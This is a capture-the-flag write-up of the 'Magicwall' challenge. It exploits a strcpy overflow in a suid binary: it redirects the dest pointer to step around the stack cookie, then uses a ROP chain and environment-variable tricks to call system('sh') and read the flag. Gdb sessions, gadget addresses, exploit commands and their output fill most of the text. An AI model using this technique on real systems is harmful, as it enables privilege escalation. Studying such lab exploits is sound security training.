Magicwall (400)
Captain Hook found the following link after looting his last frigate.
He heard that the file flag on this system is worth 400 coins.
Give him this file and he will reward you!
ssh: pirates.fluxfingers.net:7022
user: ctf
password: ctf
In the box, there was a suid executable, which we were to compromise to get the flag. Here is it’s rebuilded source:
int main (int argc, char * argv[]) { unsigned int DEFACED; // [bp-ACh] int sum; // [bp-A8h] int i; // [bp-A0h] char buffer[136]; // [bp-98h] char *dest; // [bp-10h] int saved_protector; // [bp-Ch] saved_protector = global_protector; sum = 0; DEFACED = 0xDEFACED; if (argc <= 2) { fprintf(stderr, "Give me more!\n"); return -1; } dest = buffer; for ( i = 0; i < strlen(argv[1]); ++i ) { argv[1][i] ^= *((unsigned char *)&DEFACED + i % 4); if ( !(i & 3) ) sum += argv[1][i]; } strcpy(dest, argv[1]); if ( atoi(argv[2]) == sum ) strcpy(dest, argv[1]); if ( saved_protector != global_protector ) { puts("This move was absolutely NOT cool!"); exit(1); } return 0; }
We have a buffer overflow vulnerability with stack protection (the cookie is got from /dev/urandom). Also nx bit is set (stack is non-executable).
Obviously, we shouldn’t overwrite the stack cookie ( saved_protector ), this means path to main’s return is not straight forward. A good thing is that destination buffer to strcpy is passed in variable dest, which lies right before the stack cookie. So we can overwrite dest with first strcpy and then overwrite whatever-we-need with the second.
If we overwrite dest with address of return address of main function (which is 0xbfffxxxx), we will spoil the cookie with \x00 byte (strcpy does this evil). One way is to do a millions of tries, until stack cookie will be 0xXXXXXX00. But there is a more stable way – we can overwrite return address from the second strcpy call, during it’s execution. So, the cookie check won’t be executed, because we’ll return to whatever-we-need, not to main function.
Now it’s time to think where we want to return. Don’t forget, stack is non-executable, so we should use some Return Oriented Programming (ROP). Also, ROP code mustn’t contain null bytes (because of strcpy). There’s not too much code in the binary, so we can search for ROP gadgets manually. I found a nice block of code in __do_global_ctors_aux, which contains all that I need:
loc_8048833: .text:08048833 sub ebx, 4 .text:08048836 call eax .text:08048838 mov eax, [ebx] loc_804883A: .text:0804883A cmp eax, 0FFFFFFFFh .text:0804883D jnz short loc_8048833 .text:0804883F pop eax .text:08048840 pop ebx .text:08048841 pop ebp .text:08048842 retn
A nice thing is that glibc address is static. This prevents from running exploit several times, waiting for addressed to coinside. Let’s get system address:
ctf@Magicwall:~$ mkdir /tmp/mastaa ctf@Magicwall:~$ cd /tmp/mastaa ctf@Magicwall:/tmp/mastaa$ gdb ~/magicwall ... (gdb) b main Breakpoint 1 at 0x804851d (gdb) r Starting program: /home/ctf/magicwall Breakpoint 1, 0x0804851d in main () (gdb) p/x &system $1 = 0x1672a0
ROP code to call system(“sh ;”) (0x1672a0):
1. First, I want to put some return‘s addresses. Here they will act like nops in normal shellcode and will make guessing address of return address of strcpy easier. The address to return is: 0x08048842.
2. Next, I will use pop ebx, pop ebp, retn to load ebx. This ROP gadget has address 0x08048840.
3. After that, I want jump to address, stored in [ebx] (in dword, addressed by ebx). 0x08048838 will do this. There are more simple ways, like pop esi, and call esi, but the address contains a null byte, so we can’t store it in our ROP code.
How then can we use [ebx]? The trick is to export some environment variables. They are null terminated, so we will find “\xa0\x72\x16\x00” somewhere in the stack and put it’s address in ebx. “sh ;” string also will be there.
4. And at last, system function needs an argument.
Let’s get our env addresses:
$ export Z="`perl -e 'print ";sh "x128;'`" $ export syst="`perl -e 'print pack("V", 0x1672a0)'`" $ gdb --args ~/magicwall "`perl -e 'print "A"x140;'`" 12345 ... (gdb) b main Breakpoint 1 at 0x804851d (gdb) r Starting program: /home/ctf/magicwall AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 12345 Breakpoint 1, 0x0804851d in main () (gdb) x/100s 0xc0000000-512 0xbffffe00: "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;s h ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ; sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;"... 0xbffffec8: "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh " ... 0xbffffef4: "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/us r/bin:/sbin:/bin:/usr/games" 0xbfffff9e: "syst=�r\026" ... (gdb) x/20xw 0xbffffe00-32 0xbffffde0: 0x3b206873 0x3b206873 0x3b206873 0x3b206873 0xbffffdf0: 0x3b206873 0x3b206873 0x3b206873 0x3b206873 0xbffffe00: 0x3b206873 0x3b206873 0x3b206873 0x3b206873 0xbffffe10: 0x3b206873 0x3b206873 0x3b206873 0x3b206873 0xbffffe20: 0x3b206873 0x3b206873 0x3b206873 0x3b206873 (gdb) x/1s 0xbffffe04 0xbffffe04: "sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ; sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh ;sh"... (gdb) x/1xw 0xbfffff9e+5 0xbfffffa3: 0x001672a0 (gdb) p/x $esp $1 = 0xbffff940
So, system address is stored at 0xbfffffa3, the argument is at 0xbffffe04. Approximate value of address of return address from strcpy is 0xbffff940. That address should be in the middle of ret-sled, so a place for our ROP code is some dwords before (0xbfffff904 looks ok)
Here is a perl script to generate payload and the checksum.
$ gdb --args ~/magicwall "`perl pwn.pl`" "`perl pwn.pl sum`" .. (gdb) r Starting program: /home/ctf/magicwall ... 1930 $
Got a shell! Cool, but only under gdb. The addresses differ, so we need to try some offsets. Perl script for that.
ctf@Magicwall:/tmp/mastaa$ perl syspwn.pl bffff904 bffffe04 bffffff0 (2009): ... bffff904 bffffe07 bfffff7c (2152): bffff904 bffffe04 bfffff7b (2148): sh: h: not found $ id uid=1000(ctf) gid=1000(ctf) euid=1001(winner) egid=1001(winner) groups=1000(ctf) $ cat /home/ctf/flag C_IS_FOR_C00KIE
Flag: C_IS_FOR_C00KIE